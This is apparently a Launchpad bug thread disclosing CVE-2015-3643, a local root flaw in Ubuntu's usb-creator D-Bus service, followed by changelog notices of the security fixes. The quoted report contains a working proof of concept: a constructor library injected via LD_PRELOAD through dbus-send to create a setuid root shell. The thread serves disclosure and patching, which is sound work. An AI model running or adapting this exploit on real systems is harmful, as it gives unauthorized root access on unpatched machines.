Tavis Ormandy discovered a local root vulnerability with the com.ubuntu.USBCreator dbus service

[Seth Arnold]

Reported on oss-security: http://www.openwall.com/lists/oss-security/2015/04/22/12

Text from Tavis follows:

Hello,

[as-per previous discussion on the vendors list, skipping closed
discussion of low-severity issue]

On my Ubuntu VM, I have a D-Bus service listening on
com.ubuntu.USBCreator. As far as I can tell, this is installed by
default.

It looks like the author intended for all the methods to call
check_polkit, but KVMTest doesn't.

This seems like an obvious mistake, and the following appears to work
on my machine:

$ cat > test.c
void __attribute__((constructor)) init (void)
{
chown("/tmp/test", 0, 0);
chmod("/tmp/test", 04755);
}
^D
$ gcc -shared -fPIC -o /tmp/test.so test.c
$ cp /bin/sh /tmp/test
$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator
/com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda
dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"
method return sender=:1.4364 -> dest=:1.7427 reply_serial=2
$ ls -l /tmp/test
-rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test
$ /tmp/test
# id
euid=0(root) groups=0(root)

Thanks, Tavis.

[Launchpad Janitor (janitor)]

This bug was fixed in the package usb-creator - 0.2.38.3ubuntu0.1

---------------
usb-creator (0.2.38.3ubuntu0.1) precise-security; urgency=medium

  * SECURITY UPDATE: privilege escalation via missing polkit check
    (LP: #1447396)
    - bin/usb-creator-helper, dbus/com.ubuntu.usbcreator.policy.in: add
      proper polkit integration for KVM use.
    - CVE number pending
 -- Marc Deslauriers <email address hidden> Wed, 22 Apr 2015 23:18:51 -0400

[Launchpad Janitor (janitor)]

This bug was fixed in the package usb-creator - 0.2.56.3ubuntu0.1

---------------
usb-creator (0.2.56.3ubuntu0.1) trusty-security; urgency=medium

  * SECURITY UPDATE: privilege escalation via missing polkit check
    (LP: #1447396)
    - bin/usb-creator-helper, dbus/com.ubuntu.usbcreator.policy.in: add
      proper polkit integration for KVM use.
    - CVE number pending
 -- Marc Deslauriers <email address hidden> Wed, 22 Apr 2015 23:18:17 -0400

[Launchpad Janitor (janitor)]

This bug was fixed in the package usb-creator - 0.2.62ubuntu0.3

---------------
usb-creator (0.2.62ubuntu0.3) utopic-security; urgency=medium

  * SECURITY UPDATE: privilege escalation via missing polkit check
    (LP: #1447396)
    - bin/usb-creator-helper, dbus/com.ubuntu.usbcreator.policy.in: add
      proper polkit integration for KVM use.
    - CVE number pending
 -- Marc Deslauriers <email address hidden> Wed, 22 Apr 2015 23:16:13 -0400

[Launchpad Janitor (janitor)]

This bug was fixed in the package usb-creator - 0.2.67ubuntu0.1

---------------
usb-creator (0.2.67ubuntu0.1) vivid-security; urgency=medium

  * SECURITY UPDATE: privilege escalation via missing polkit check
    (LP: #1447396)
    - bin/usb-creator-helper, dbus/com.ubuntu.usbcreator.policy.in: add
      proper polkit integration for KVM use.
    - CVE number pending
 -- Marc Deslauriers <email address hidden> Wed, 22 Apr 2015 23:10:43 -0400

[Seth Arnold (seth-arnold)]

This has been assigned CVE-2015-3643 -- http://www.openwall.com/lists/oss-security/2015/05/04/3